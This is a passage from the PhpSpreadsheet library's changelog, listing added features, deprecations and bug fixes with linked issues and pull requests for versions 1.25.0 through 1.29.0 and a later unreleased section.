#3571](https://github.com/PHPOffice/PhpSpreadsheet/issues/3571) [PR #3640](https://github.com/PHPOffice/PhpSpreadsheet/pull/3640) - `toFormattedString` will now always return a string. This was introduced with 1.28.0, but was not properly documented at the time. This can affect the results of `toArray`, `namedRangeToArray`, and `rangeToArray`. [PR #3304](https://github.com/PHPOffice/PhpSpreadsheet/pull/3304) - Value of constants FORMAT_CURRENCY_EUR and FORMAT_CURRENCY_USD was changed in 1.28.0, but was not properly documented at the time. [Issue #3577](https://github.com/PHPOffice/PhpSpreadsheet/issues/3577) - Html Writer will attempt to use Chart coordinates to determine image size. [Issue #3783](https://github.com/PHPOffice/PhpSpreadsheet/issues/3783) [PR #3787](https://github.com/PHPOffice/PhpSpreadsheet/pull/3787) ### Deprecated - Functions `_translateFormulaToLocale` and `_translateFormulaEnglish` are replaced by versions without leading underscore. [PR #3828](https://github.com/PHPOffice/PhpSpreadsheet/pull/3828) ### Removed - Nothing ### Fixed - Take advantage of mitoteam/jpgraph Extended mode to enable rendering of more graphs. [PR #3603](https://github.com/PHPOffice/PhpSpreadsheet/pull/3603) - Column widths, especially for ODS. [Issue #3609](https://github.com/PHPOffice/PhpSpreadsheet/issues/3609) [PR #3610](https://github.com/PHPOffice/PhpSpreadsheet/pull/3610) - Avoid NULL in String Function call (partial solution). [Issue #3613](https://github.com/PHPOffice/PhpSpreadsheet/issues/3613) [PR #3617](https://github.com/PHPOffice/PhpSpreadsheet/pull/3617) - Preserve transparency in Memory Drawing. [Issue #3624](https://github.com/PHPOffice/PhpSpreadsheet/issues/3624) [PR #3627](https://github.com/PHPOffice/PhpSpreadsheet/pull/3627) - Customizable padding for Exact Column Width. [Issue #3626](https://github.com/PHPOffice/PhpSpreadsheet/issues/3626) [PR #3628](https://github.com/PHPOffice/PhpSpreadsheet/pull/3628) - Ensure ROW function returns int (problem exposed in unreleased Php). [PR #3641](https://github.com/PHPOffice/PhpSpreadsheet/pull/3641) - Minor changes to Mpdf and Html Writers. [PR #3645](https://github.com/PHPOffice/PhpSpreadsheet/pull/3645) - Xlsx Reader Namespacing for Tables, Autofilters. [Issue #3665](https://github.com/PHPOffice/PhpSpreadsheet/issues/3665) [PR #3668](https://github.com/PHPOffice/PhpSpreadsheet/pull/3668) - Read Code Page for Xls ListWorksheetInfo/Names BIFF5. [Issue #3671](https://github.com/PHPOffice/PhpSpreadsheet/issues/3671) [PR #3672](https://github.com/PHPOffice/PhpSpreadsheet/pull/3672) - Read Data from Table on Different Sheet. [Issue #3635](https://github.com/PHPOffice/PhpSpreadsheet/issues/3635) [PR #3659](https://github.com/PHPOffice/PhpSpreadsheet/pull/3659) - Html Writer Styles Using Inline Css. [Issue #3678](https://github.com/PHPOffice/PhpSpreadsheet/issues/3678) [PR #3680](https://github.com/PHPOffice/PhpSpreadsheet/pull/3680) - Xlsx Read Ignoring Some Comments. [Issue #3654](https://github.com/PHPOffice/PhpSpreadsheet/issues/3654) [PR #3655](https://github.com/PHPOffice/PhpSpreadsheet/pull/3655) - Fractional Seconds in Date/Time Values. [PR #3677](https://github.com/PHPOffice/PhpSpreadsheet/pull/3677) - SetCalculatedValue Avoid Casting String to Numeric. [Issue #3658](https://github.com/PHPOffice/PhpSpreadsheet/issues/3658) [PR #3685](https://github.com/PHPOffice/PhpSpreadsheet/pull/3685) - Several Problems in a Very Complicated Spreadsheet. [Issue #3679](https://github.com/PHPOffice/PhpSpreadsheet/issues/3679) [PR #3681](https://github.com/PHPOffice/PhpSpreadsheet/pull/3681) - Inconsistent String Handling for Sum Functions. [Issue #3652](https://github.com/PHPOffice/PhpSpreadsheet/issues/3652) [PR #3653](https://github.com/PHPOffice/PhpSpreadsheet/pull/3653) - Recomputation of Relative Addresses in Defined Names. [Issue #3661](https://github.com/PHPOffice/PhpSpreadsheet/issues/3661) [PR #3673](https://github.com/PHPOffice/PhpSpreadsheet/pull/3673) - Writer Xls Characters Outside BMP (emojis). [Issue #642](https://github.com/PHPOffice/PhpSpreadsheet/issues/642) [PR #3696](https://github.com/PHPOffice/PhpSpreadsheet/pull/3696) - Xlsx Reader Improve Handling of Row and Column Styles. [Issue #3533](https://github.com/PHPOffice/PhpSpreadsheet/issues/3533) [Issue #3534](https://github.com/PHPOffice/PhpSpreadsheet/issues/3534) [PR #3688](https://github.com/PHPOffice/PhpSpreadsheet/pull/3688) - Avoid Allocating RowDimension Unneccesarily. [PR #3686](https://github.com/PHPOffice/PhpSpreadsheet/pull/3686) - Use Column Style when Row Dimension Exists Without Style. [Issue #3534](https://github.com/PHPOffice/PhpSpreadsheet/issues/3534) [PR #3688](https://github.com/PHPOffice/PhpSpreadsheet/pull/3688) - Inconsistency Between Cell Data and Explicitly Declared Type. [Issue #3711](https://github.com/PHPOffice/PhpSpreadsheet/issues/3711) [PR #3715](https://github.com/PHPOffice/PhpSpreadsheet/pull/3715) - Unexpected Namespacing in rels File. [Issue #3720](https://github.com/PHPOffice/PhpSpreadsheet/issues/3720) [PR #3722](https://github.com/PHPOffice/PhpSpreadsheet/pull/3722) - Break Some Circular References. [PR #3716](https://github.com/PHPOffice/PhpSpreadsheet/pull/3716) [PR #3707](https://github.com/PHPOffice/PhpSpreadsheet/pull/3707) - Missing Font Index in Some Xls. [PR #3734](https://github.com/PHPOffice/PhpSpreadsheet/pull/3734) - Load Tables even with READ_DATA_ONLY. [PR #3726](https://github.com/PHPOffice/PhpSpreadsheet/pull/3726) - Theme File Missing but Referenced in Spreadsheet. [Issue #3770](https://github.com/PHPOffice/PhpSpreadsheet/issues/3770) [PR #3772](https://github.com/PHPOffice/PhpSpreadsheet/pull/3772) - Slk Shared Formulas. [Issue #2267](https://github.com/PHPOffice/PhpSpreadsheet/issues/2267) [PR #3776](https://github.com/PHPOffice/PhpSpreadsheet/pull/3776) - Html omitting some charts. [Issue #3767](https://github.com/PHPOffice/PhpSpreadsheet/issues/3767) [PR #3771](https://github.com/PHPOffice/PhpSpreadsheet/pull/3771) - Case Insensitive Comparison for Sheet Names [PR #3791](https://github.com/PHPOffice/PhpSpreadsheet/pull/3791) - Performance improvement for Xlsx Reader. [Issue #3683](https://github.com/PHPOffice/PhpSpreadsheet/issues/3683) [PR #3810](https://github.com/PHPOffice/PhpSpreadsheet/pull/3810) - Prevent loop in Shared/File. [Issue #3807](https://github.com/PHPOffice/PhpSpreadsheet/issues/3807) [PR #3809](https://github.com/PHPOffice/PhpSpreadsheet/pull/3809) - Consistent handling of decimal/thousands separators between StringHelper and Php setlocale. [Issue #3811](https://github.com/PHPOffice/PhpSpreadsheet/issues/3811) [PR #3815](https://github.com/PHPOffice/PhpSpreadsheet/pull/3815) - Clone worksheet with tables or charts. [Issue #3820](https://github.com/PHPOffice/PhpSpreadsheet/issues/3820) [PR #3821](https://github.com/PHPOffice/PhpSpreadsheet/pull/3821) - COUNTIFS Does Not Require xlfn. [Issue #3819](https://github.com/PHPOffice/PhpSpreadsheet/issues/3819) [PR #3827](https://github.com/PHPOffice/PhpSpreadsheet/pull/3827) - Strip `xlfn.` and `xlws.` from Formula Translations. [Issue #3819](https://github.com/PHPOffice/PhpSpreadsheet/issues/3819) [PR #3828](https://github.com/PHPOffice/PhpSpreadsheet/pull/3828) - Recurse directories searching for font file. [Issue #2809](https://github.com/PHPOffice/PhpSpreadsheet/issues/2809) [PR #3830](https://github.com/PHPOffice/PhpSpreadsheet/pull/3830) - Reduce memory consumption of Worksheet::rangeToArray() when many empty rows are read. [Issue #3814](https://github.com/PHPOffice/PhpSpreadsheet/issues/3814) [PR #3834](https://github.com/PHPOffice/PhpSpreadsheet/pull/3834) - Reduce time used by Worksheet::rangeToArray() when many empty rows are read. [PR #3839](https://github.com/PHPOffice/PhpSpreadsheet/pull/3839) - Html Reader Tolerate Invalid Sheet Title. [PR #3845](https://github.com/PHPOffice/PhpSpreadsheet/pull/3845) - Do not include unparsed drawings when new drawing added. [Issue #3843](https://github.com/PHPOffice/PhpSpreadsheet/issues/3843) [PR #3846](https://github.com/PHPOffice/PhpSpreadsheet/pull/3846) - Do not include unparsed drawings when new drawing added. [Issue #3861](https://github.com/PHPOffice/PhpSpreadsheet/issues/3861) [PR #3862](https://github.com/PHPOffice/PhpSpreadsheet/pull/3862) - Excel omits `between` operator for data validation. [Issue #3863](https://github.com/PHPOffice/PhpSpreadsheet/issues/3863) [PR #3865](https://github.com/PHPOffice/PhpSpreadsheet/pull/3865) - Use less space when inserting rows and columns. [Issue #3687](https://github.com/PHPOffice/PhpSpreadsheet/issues/3687) [PR #3856](https://github.com/PHPOffice/PhpSpreadsheet/pull/3856) - Excel inconsistent handling of MIN/MAX/MINA/MAXA. [Issue #3866](https://github.com/PHPOffice/PhpSpreadsheet/issues/3866) [PR #3868](https://github.com/PHPOffice/PhpSpreadsheet/pull/3868) ## 1.29.0 - 2023-06-15 ### Added - Wizards for defining Number Format masks for Dates and Times, including Durations/Intervals. [PR #3458](https://github.com/PHPOffice/PhpSpreadsheet/pull/3458) - Specify data type in html tags. [Issue #3444](https://github.com/PHPOffice/PhpSpreadsheet/issues/3444) [PR #3445](https://github.com/PHPOffice/PhpSpreadsheet/pull/3445) - Provide option to ignore hidden rows/columns in `toArray()` methods. [PR #3494](https://github.com/PHPOffice/PhpSpreadsheet/pull/3494) - Font/Effects/Theme support for Chart Data Labels and Axis. [PR #3476](https://github.com/PHPOffice/PhpSpreadsheet/pull/3476) - Font Themes support. [PR #3486](https://github.com/PHPOffice/PhpSpreadsheet/pull/3486) - Ability to Ignore Cell Errors in Excel. [Issue #1141](https://github.com/PHPOffice/PhpSpreadsheet/issues/1141) [PR #3508](https://github.com/PHPOffice/PhpSpreadsheet/pull/3508) - Unzipped Gnumeric file [PR #3591](https://github.com/PHPOffice/PhpSpreadsheet/pull/3591) ### Changed - Xlsx Color schemes read in will be written out (previously Excel 2007-2010 Color scheme was always written); manipulation of those schemes before write, including restoring prior behavior, is provided [PR #3476](https://github.com/PHPOffice/PhpSpreadsheet/pull/3476) - Memory and speed optimisations for Read Filters with Xlsx Files and Shared Formulae. [PR #3474](https://github.com/PHPOffice/PhpSpreadsheet/pull/3474) - Allow `CellRange` and `CellAddress` objects for the `range` argument in the `rangeToArray()` method. [PR #3494](https://github.com/PHPOffice/PhpSpreadsheet/pull/3494) - Stock charts will now read and reproduce `upDownBars` and subsidiary tags; these were previously ignored on read and hard-coded on write. [PR #3515](https://github.com/PHPOffice/PhpSpreadsheet/pull/3515) ### Deprecated - Nothing ### Removed - Nothing ### Fixed - Updates Cell formula absolute ranges/references, and Defined Name absolute ranges/references when inserting/deleting rows/columns. [Issue #3368](https://github.com/PHPOffice/PhpSpreadsheet/issues/3368) [PR #3402](https://github.com/PHPOffice/PhpSpreadsheet/pull/3402) - EOMONTH() and EDATE() Functions should round date value before evaluation. [Issue #3436](https://github.com/PHPOffice/PhpSpreadsheet/issues/3436) [PR #3437](https://github.com/PHPOffice/PhpSpreadsheet/pull/3437) - NETWORKDAYS function erroneously being converted to NETWORK_xlfn.DAYS in Xlsx Writer. [Issue #3461](https://github.com/PHPOffice/PhpSpreadsheet/issues/3461) [PR #3463](https://github.com/PHPOffice/PhpSpreadsheet/pull/3463) - Getting a style for a CellAddress instance fails if the worksheet is set in the CellAddress instance. [Issue #3439](https://github.com/PHPOffice/PhpSpreadsheet/issues/3439) [PR #3469](https://github.com/PHPOffice/PhpSpreadsheet/pull/3469) - Shared Formulae outside the filter range when reading with a filter are not always being identified. [Issue #3473](https://github.com/PHPOffice/PhpSpreadsheet/issues/3473) [PR #3474](https://github.com/PHPOffice/PhpSpreadsheet/pull/3474) - Xls Reader Conditional Styles. [PR #3400](https://github.com/PHPOffice/PhpSpreadsheet/pull/3400) - Allow use of # and 0 digit placeholders in fraction masks. [PR #3401](https://github.com/PHPOffice/PhpSpreadsheet/pull/3401) - Modify Date/Time check in the NumberFormatter for decimal/fractional times. [PR #3413](https://github.com/PHPOffice/PhpSpreadsheet/pull/3413) - Misplaced Xml Writing Chart Label FillColor. [Issue #3397](https://github.com/PHPOffice/PhpSpreadsheet/issues/3397) [PR #3404](https://github.com/PHPOffice/PhpSpreadsheet/pull/3404) - TEXT function ignores Time in DateTimeStamp. [Issue #3409](https://github.com/PHPOffice/PhpSpreadsheet/issues/3409) [PR #3411](https://github.com/PHPOffice/PhpSpreadsheet/pull/3411) - Xlsx Column Autosize Approximate for CJK. [Issue #3405](https://github.com/PHPOffice/PhpSpreadsheet/issues/3405) [PR #3416](https://github.com/PHPOffice/PhpSpreadsheet/pull/3416) - Correct Xlsx Parsing of quotePrefix="0". [Issue #3435](https://github.com/PHPOffice/PhpSpreadsheet/issues/3435) [PR #3438](https://github.com/PHPOffice/PhpSpreadsheet/pull/3438) - More Display Options for Chart Axis and Legend. [Issue #3414](https://github.com/PHPOffice/PhpSpreadsheet/issues/3414) [PR #3434](https://github.com/PHPOffice/PhpSpreadsheet/pull/3434) - Apply strict type checking to Complex suffix. [PR #3452](https://github.com/PHPOffice/PhpSpreadsheet/pull/3452) - Incorrect Font Color Read Xlsx Rich Text Indexed Color Custom Palette. [Issue #3464](https://github.com/PHPOffice/PhpSpreadsheet/issues/3464) [PR #3465](https://github.com/PHPOffice/PhpSpreadsheet/pull/3465) - Xlsx Writer Honor Alignment in Default Font. [Issue #3443](https://github.com/PHPOffice/PhpSpreadsheet/issues/3443) [PR #3459](https://github.com/PHPOffice/PhpSpreadsheet/pull/3459) - Support Border for Charts. [PR #3462](https://github.com/PHPOffice/PhpSpreadsheet/pull/3462) - Error in "this row" structured reference calculation (cached result from first row when using a range) [Issue #3504](https://github.com/PHPOffice/PhpSpreadsheet/issues/3504) [PR #3505](https://github.com/PHPOffice/PhpSpreadsheet/pull/3505) - Allow colour palette index references in Number Format masks [Issue #3511](https://github.com/PHPOffice/PhpSpreadsheet/issues/3511) [PR #3512](https://github.com/PHPOffice/PhpSpreadsheet/pull/3512) - Xlsx Reader formula with quotePrefix [Issue #3495](https://github.com/PHPOffice/PhpSpreadsheet/issues/3495) [PR #3497](https://github.com/PHPOffice/PhpSpreadsheet/pull/3497) - Handle REF error as part of range [Issue #3453](https://github.com/PHPOffice/PhpSpreadsheet/issues/3453) [PR #3467](https://github.com/PHPOffice/PhpSpreadsheet/pull/3467) - Handle Absolute Pathnames in Rels File [Issue #3553](https://github.com/PHPOffice/PhpSpreadsheet/issues/3553) [PR #3554](https://github.com/PHPOffice/PhpSpreadsheet/pull/3554) - Return Page Breaks in Order [Issue #3552](https://github.com/PHPOffice/PhpSpreadsheet/issues/3552) [PR #3555](https://github.com/PHPOffice/PhpSpreadsheet/pull/3555) - Add position attribute for MemoryDrawing in Html [Issue #3529](https://github.com/PHPOffice/PhpSpreadsheet/issues/3529 [PR #3535](https://github.com/PHPOffice/PhpSpreadsheet/pull/3535) - Allow Index_number as Array for VLOOKUP/HLOOKUP [Issue #3561](https://github.com/PHPOffice/PhpSpreadsheet/issues/3561 [PR #3570](https://github.com/PHPOffice/PhpSpreadsheet/pull/3570) - Add Unsupported Options in Xml Spreadsheet [Issue #3566](https://github.com/PHPOffice/PhpSpreadsheet/issues/3566 [Issue #3568](https://github.com/PHPOffice/PhpSpreadsheet/issues/3568 [Issue #3569](https://github.com/PHPOffice/PhpSpreadsheet/issues/3569 [PR #3567](https://github.com/PHPOffice/PhpSpreadsheet/pull/3567) - Changes to NUMBERVALUE, VALUE, DATEVALUE, TIMEVALUE [Issue #3574](https://github.com/PHPOffice/PhpSpreadsheet/issues/3574 [PR #3575](https://github.com/PHPOffice/PhpSpreadsheet/pull/3575) - Redo calculation of color tinting [Issue #3550](https://github.com/PHPOffice/PhpSpreadsheet/issues/3550) [PR #3580](https://github.com/PHPOffice/PhpSpreadsheet/pull/3580) - Accommodate Slash with preg_quote [PR #3582](https://github.com/PHPOffice/PhpSpreadsheet/pull/3582) [PR #3583](https://github.com/PHPOffice/PhpSpreadsheet/pull/3583) [PR #3584](https://github.com/PHPOffice/PhpSpreadsheet/pull/3584) - HyperlinkBase Property and Html Handling of Properties [Issue #3573](https://github.com/PHPOffice/PhpSpreadsheet/issues/3573) [PR #3589](https://github.com/PHPOffice/PhpSpreadsheet/pull/3589) - Improvements for Data Validation [Issue #3592](https://github.com/PHPOffice/PhpSpreadsheet/issues/3592) [Issue #3594](https://github.com/PHPOffice/PhpSpreadsheet/issues/3594) [PR #3605](https://github.com/PHPOffice/PhpSpreadsheet/pull/3605) ## 1.28.0 - 2023-02-25 ### Added - Support for configuring a Chart Title's overlay [PR #3325](https://github.com/PHPOffice/PhpSpreadsheet/pull/3325) - Wizards for defining Number Format masks for Numbers, Percentages, Scientific, Currency and Accounting [PR #3334](https://github.com/PHPOffice/PhpSpreadsheet/pull/3334) - Support for fixed value divisor in fractional Number Format Masks [PR #3339](https://github.com/PHPOffice/PhpSpreadsheet/pull/3339) - Allow More Fonts/Fontnames for Exact Width Calculation [PR #3326](https://github.com/PHPOffice/PhpSpreadsheet/pull/3326) [Issue #3190](https://github.com/PHPOffice/PhpSpreadsheet/issues/3190) - Allow override of the Value Binder when setting a Cell value [PR #3361](https://github.com/PHPOffice/PhpSpreadsheet/pull/3361) ### Changed - Improved handling for @ placeholder in Number Format Masks [PR #3344](https://github.com/PHPOffice/PhpSpreadsheet/pull/3344) - Improved handling for ? placeholder in Number Format Masks [PR #3394](https://github.com/PHPOffice/PhpSpreadsheet/pull/3394) - Improved support for locale settings and currency codes when matching formatted strings to numerics in the Calculation Engine [PR #3373](https://github.com/PHPOffice/PhpSpreadsheet/pull/3373) and [PR #3374](https://github.com/PHPOffice/PhpSpreadsheet/pull/3374) - Improved support for locale settings and matching in the Advanced Value Binder [PR #3376](https://github.com/PHPOffice/PhpSpreadsheet/pull/3376) - `toFormattedString` will now always return a string. This can affect the results of `toArray`, `namedRangeToArray`, and `rangeToArray`. [PR #3304](https://github.com/PHPOffice/PhpSpreadsheet/pull/3304) - Value of constants FORMAT_CURRENCY_EUR and FORMAT_CURRENCY_USD is changed. [Issue #3577](https://github.com/PHPOffice/PhpSpreadsheet/issues/3577) [PR #3377](https://github.com/PHPOffice/PhpSpreadsheet/pull/3377) ### Deprecated - Rationalisation of Pre-defined Currency Format Masks [PR #3377](https://github.com/PHPOffice/PhpSpreadsheet/pull/3377) ### Removed - Nothing ### Fixed - Calculation Engine doesn't evaluate Defined Name when default cell A1 is quote-prefixed [Issue #3335](https://github.com/PHPOffice/PhpSpreadsheet/issues/3335) [PR #3336](https://github.com/PHPOffice/PhpSpreadsheet/pull/3336) - XLSX Writer - Array Formulas do not include function prefix [Issue #3337](https://github.com/PHPOffice/PhpSpreadsheet/issues/3337) [PR #3338](https://github.com/PHPOffice/PhpSpreadsheet/pull/3338) - Permit Max Column for Row Breaks [Issue #3143](https://github.com/PHPOffice/PhpSpreadsheet/issues/3143) [PR #3345](https://github.com/PHPOffice/PhpSpreadsheet/pull/3345) - AutoSize Columns should allow for dropdown icon when AutoFilter is for a Table [Issue #3356](https://github.com/PHPOffice/PhpSpreadsheet/issues/3356) [PR #3358](https://github.com/PHPOffice/PhpSpreadsheet/pull/3358) and for Center Alignment of Headers [Issue #3395](https://github.com/PHPOffice/PhpSpreadsheet/issues/3395) [PR #3399](https://github.com/PHPOffice/PhpSpreadsheet/pull/3399) - Decimal Precision for Scientific Number Format Mask [Issue #3381](https://github.com/PHPOffice/PhpSpreadsheet/issues/3381) [PR #3382](https://github.com/PHPOffice/PhpSpreadsheet/pull/3382) - Xls Writer Parser Handle Boolean Literals as Function Arguments [Issue #3369](https://github.com/PHPOffice/PhpSpreadsheet/issues/3369) [PR #3391](https://github.com/PHPOffice/PhpSpreadsheet/pull/3391) - Conditional Formatting Improvements for Xlsx [Issue #3370](https://github.com/PHPOffice/PhpSpreadsheet/issues/3370) [Issue #3202](https://github.com/PHPOffice/PhpSpreadsheet/issues/3302) [PR #3372](https://github.com/PHPOffice/PhpSpreadsheet/pull/3372) - Coerce Bool to Int for Mathematical Operations on Arrays [Issue #3389](https://github.com/PHPOffice/PhpSpreadsheet/issues/3389) [Issue #3396](https://github.com/PHPOffice/PhpSpreadsheet/issues/3396) [PR #3392](https://github.com/PHPOffice/PhpSpreadsheet/pull/3392) ## 1.27.1 - 2023-02-08 ### Added - Nothing ### Changed - Nothing ### Deprecated - Nothing ### Removed - Nothing ### Fixed - Fix Composer --dev dependency issue with dealerdirect/phpcodesniffer-composer-installer renaming their `master` branch to `main` ## 1.27.0 - 2023-01-24 ### Added - Option to specify a range of columns/rows for the Row/Column `isEmpty()` methods [PR #3315](https://github.com/PHPOffice/PhpSpreadsheet/pull/3315) - Option for Cell Iterator to return a null value or create and return a new cell when accessing a cell that doesn't exist [PR #3314](https://github.com/PHPOffice/PhpSpreadsheet/pull/3314) - Support for Structured References in the Calculation Engine [PR #3261](https://github.com/PHPOffice/PhpSpreadsheet/pull/3261) - Limited Support for Form Controls [PR #3130](https://github.com/PHPOffice/PhpSpreadsheet/pull/3130) [Issue #2396](https://github.com/PHPOffice/PhpSpreadsheet/issues/2396) [Issue #1770](https://github.com/PHPOffice/PhpSpreadsheet/issues/1770) [Issue #2388](https://github.com/PHPOffice/PhpSpreadsheet/issues/2388) [Issue #2904](https://github.com/PHPOffice/PhpSpreadsheet/issues/2904) [Issue #2661](https://github.com/PHPOffice/PhpSpreadsheet/issues/2661) ### Changed - Nothing ### Deprecated - Nothing ### Removed - Shared/JAMA is removed. [PR #3260](https://github.com/PHPOffice/PhpSpreadsheet/pull/3260) ### Fixed - Namespace-Aware Code for SheetViewOptions, SheetProtection [PR #3230](https://github.com/PHPOffice/PhpSpreadsheet/pull/3230) - Additional Method for XIRR if Newton-Raphson Doesn't Converge [Issue #689](https://github.com/PHPOffice/PhpSpreadsheet/issues/689) [PR #3262](https://github.com/PHPOffice/PhpSpreadsheet/pull/3262) - Better Handling of Composite Charts [Issue #2333](https://github.com/PHPOffice/PhpSpreadsheet/issues/2333) [PR #3265](https://github.com/PHPOffice/PhpSpreadsheet/pull/3265) - Update Column Reference for Columns Beginning with Y and Z [Issue #3263](https://github.com/PHPOffice/PhpSpreadsheet/issues/3263) [PR #3264](https://github.com/PHPOffice/PhpSpreadsheet/pull/3264) - Honor Fit to 1-Page Height Html/Pdf [Issue #3266](https://github.com/PHPOffice/PhpSpreadsheet/issues/3266) [PR #3279](https://github.com/PHPOffice/PhpSpreadsheet/pull/3279) - AND/OR/XOR Handling of Literal Strings [PR #3287](https://github.com/PHPOffice/PhpSpreadsheet/pull/3287) - Xls Reader Vertical Break and Writer Page Order [Issue #3305](https://github.com/PHPOffice/PhpSpreadsheet/issues/3305) [PR #3306](https://github.com/PHPOffice/PhpSpreadsheet/pull/3306) ## 1.26.0 - 2022-12-21 ### Added - Extended flag options for the Reader `load()` and Writer `save()` methods - Apply Row/Column limits (1048576 and XFD) in ReferenceHelper [PR #3213](https://github.com/PHPOffice/PhpSpreadsheet/pull/3213) - Allow the creation of In-Memory Drawings from a string of binary image data, or from a stream. [PR #3157](https://github.com/PHPOffice/PhpSpreadsheet/pull/3157) - Xlsx Reader support for Pivot Tables [PR #2829](https://github.com/PHPOffice/PhpSpreadsheet/pull/2829) - Permit Date/Time Entered on Spreadsheet to be calculated as Float [Issue #1416](https://github.com/PHPOffice/PhpSpreadsheet/issues/1416) [PR #3121](https://github.com/PHPOffice/PhpSpreadsheet/pull/3121) ### Changed - Nothing ### Deprecated - Direct update of Calculation::suppressFormulaErrors is replaced with setter. - Font public static variable defaultColumnWidths replaced with constant DEFAULT_COLUMN_WIDTHS. - ExcelError public static variable errorCodes replaced with constant ERROR_CODES. - NumberFormat constant FORMAT_DATE_YYYYMMDD2 replaced with existing identical FORMAT_DATE_YYYYMMDD. ### Removed - Nothing ### Fixed - Fixed handling for `_xlws` prefixed functions from Office365 [Issue #3245](https://github.com/PHPOffice/PhpSpreadsheet/issues/3245) [PR #3247](https://github.com/PHPOffice/PhpSpreadsheet/pull/3247) - Conditionals formatting rules applied to rows/columns are removed [Issue #3184](https://github.com/PHPOffice/PhpSpreadsheet/issues/3184) [PR #3213](https://github.com/PHPOffice/PhpSpreadsheet/pull/3213) - Treat strings containing currency or accounting values as floats in Calculation Engine operations [Issue #3165](https://github.com/PHPOffice/PhpSpreadsheet/issues/3165) [PR #3189](https://github.com/PHPOffice/PhpSpreadsheet/pull/3189) - Treat strings containing percentage values as floats in Calculation Engine operations [Issue #3155](https://github.com/PHPOffice/PhpSpreadsheet/issues/3155) [PR #3156](https://github.com/PHPOffice/PhpSpreadsheet/pull/3156) and [PR #3164](https://github.com/PHPOffice/PhpSpreadsheet/pull/3164) - Xlsx Reader Accept Palette of Fewer than 64 Colors [Issue #3093](https://github.com/PHPOffice/PhpSpreadsheet/issues/3093) [PR #3096](https://github.com/PHPOffice/PhpSpreadsheet/pull/3096) - Use Locale-Independent Float Conversion for Xlsx Writer Custom Property [Issue #3095](https://github.com/PHPOffice/PhpSpreadsheet/issues/3095) [PR #3099](https://github.com/PHPOffice/PhpSpreadsheet/pull/3099) - Allow setting AutoFilter range on a single cell or row [Issue #3102](https://github.com/PHPOffice/PhpSpreadsheet/issues/3102) [PR #3111](https://github.com/PHPOffice/PhpSpreadsheet/pull/3111) - Xlsx Reader External Data Validations Flag Missing [Issue #2677](https://github.com/PHPOffice/PhpSpreadsheet/issues/2677) [PR #3078](https://github.com/PHPOffice/PhpSpreadsheet/pull/3078) - Reduces extra memory usage on `__destruct()` calls [PR #3092](https://github.com/PHPOffice/PhpSpreadsheet/pull/3092) - Additional properties for Trendlines [Issue #3011](https://github.com/PHPOffice/PhpSpreadsheet/issues/3011) [PR #3028](https://github.com/PHPOffice/PhpSpreadsheet/pull/3028) - Calculation suppressFormulaErrors fix [Issue #1531](https://github.com/PHPOffice/PhpSpreadsheet/issues/1531) [PR #3092](https://github.com/PHPOffice/PhpSpreadsheet/pull/3092) - Permit Date/Time Entered on Spreadsheet to be Calculated as Float [Issue #1416](https://github.com/PHPOffice/PhpSpreadsheet/issues/1416) [PR #3121](https://github.com/PHPOffice/PhpSpreadsheet/pull/3121) - Incorrect Handling of Data Validation Formula Containing Ampersand [Issue #3145](https://github.com/PHPOffice/PhpSpreadsheet/issues/3145) [PR #3146](https://github.com/PHPOffice/PhpSpreadsheet/pull/3146) - Xlsx Namespace Handling of Drawings, RowAndColumnAttributes, MergeCells [Issue #3138](https://github.com/PHPOffice/PhpSpreadsheet/issues/3138) [PR #3136](https://github.com/PHPOffice/PhpSpreadsheet/pull/3137) - Generation3 Copy With Image in Footer [Issue #3126](https://github.com/PHPOffice/PhpSpreadsheet/issues/3126) [PR #3140](https://github.com/PHPOffice/PhpSpreadsheet/pull/3140) - MATCH Function Problems with Int/Float Compare and Wildcards [Issue #3141](https://github.com/PHPOffice/PhpSpreadsheet/issues/3141) [PR #3142](https://github.com/PHPOffice/PhpSpreadsheet/pull/3142) - Fix ODS Read Filter on number-columns-repeated cell [Issue #3148](https://github.com/PHPOffice/PhpSpreadsheet/issues/3148) [PR #3149](https://github.com/PHPOffice/PhpSpreadsheet/pull/3149) - Problems Formatting Very Small and Very Large Numbers [Issue #3128](https://github.com/PHPOffice/PhpSpreadsheet/issues/3128) [PR #3152](https://github.com/PHPOffice/PhpSpreadsheet/pull/3152) - XlsxWrite preserve line styles for y-axis, not just x-axis [PR #3163](https://github.com/PHPOffice/PhpSpreadsheet/pull/3163) - Xlsx Namespace Handling of Drawings, RowAndColumnAttributes, MergeCells [Issue #3138](https://github.com/PHPOffice/PhpSpreadsheet/issues/3138) [PR #3137](https://github.com/PHPOffice/PhpSpreadsheet/pull/3137) - More Detail for Cyclic Error Messages [Issue #3169](https://github.com/PHPOffice/PhpSpreadsheet/issues/3169) [PR #3170](https://github.com/PHPOffice/PhpSpreadsheet/pull/3170) - Improved Documentation for Deprecations - many PRs [Issue #3162](https://github.com/PHPOffice/PhpSpreadsheet/issues/3162) ## 1.25.2 - 2022-09-25 ### Added - Nothing ### Changed - Nothing ### Deprecated - Nothing ### Removed - Nothing ### Fixed - Composer dependency clash with ezyang/htmlpurifier ## 1.25.0 - 2022-09-25 ### Added - Implementation of the new `TEXTBEFORE()`, `TEXTAFTER()` and `TEXTSPLIT()` Excel Functions - Implementation of the `ARRAYTOTEXT()` and `VALUETOTEXT()` Excel Functions - Support for [mitoteam/jpgraph](https://packagist.org/packages/mitoteam/jpgraph) implementation of JpGraph library to render charts added. - Charts: Add Gradients, Transparency, Hidden Axes, Rounded Corners, Trendlines, Date Axes. ### Changed - Allow variant behaviour when merging cells [Issue #3065](https://github.com/PHPOffice/PhpSpreadsheet/issues/3065) - Merge methods now allow an additional `$behaviour` argument. Permitted values are: - Worksheet::MERGE_CELL_CONTENT_EMPTY - Empty the content of the hidden cells (the default behaviour) - Worksheet::MERGE_CELL_CONTENT_HIDE - Keep the content of the hidden cells - Worksheet::MERGE_CELL_CONTENT_MERGE - Move the content of the hidden cells into the first cell ### Deprecated - Axis getLineProperty deprecated in favor of getLineColorProperty. - Moved majorGridlines and minorGridlines from Chart to Axis. Setting either in Chart constructor or through Chart methods, or getting either using Chart methods is deprecated. - Chart::EXCEL_COLOR_TYPE_* copied from Properties to ChartColor; use in Properties is deprecated. - ChartColor::EXCEL_COLOR_TYPE_ARGB deprecated in favor of EXCEL_COLOR_TYPE_RGB ("A" component was never allowed). - Misspelled Properties::LINE_STYLE_DASH_SQUERE_DOT deprecated in favor of LINE_STYLE_DASH_SQUARE_DOT. - Clone not permitted for Spreadsheet. Spreadsheet->copy() can be used instead. ### Removed - Nothing ### Fixed - Fix update to defined names when inserting/deleting rows/columns [Issue #3076](https://github.com/PHPOffice/PhpSpreadsheet/issues/3076) [PR #3077](https://github.com/PHPOffice/PhpSpreadsheet/pull/3077) 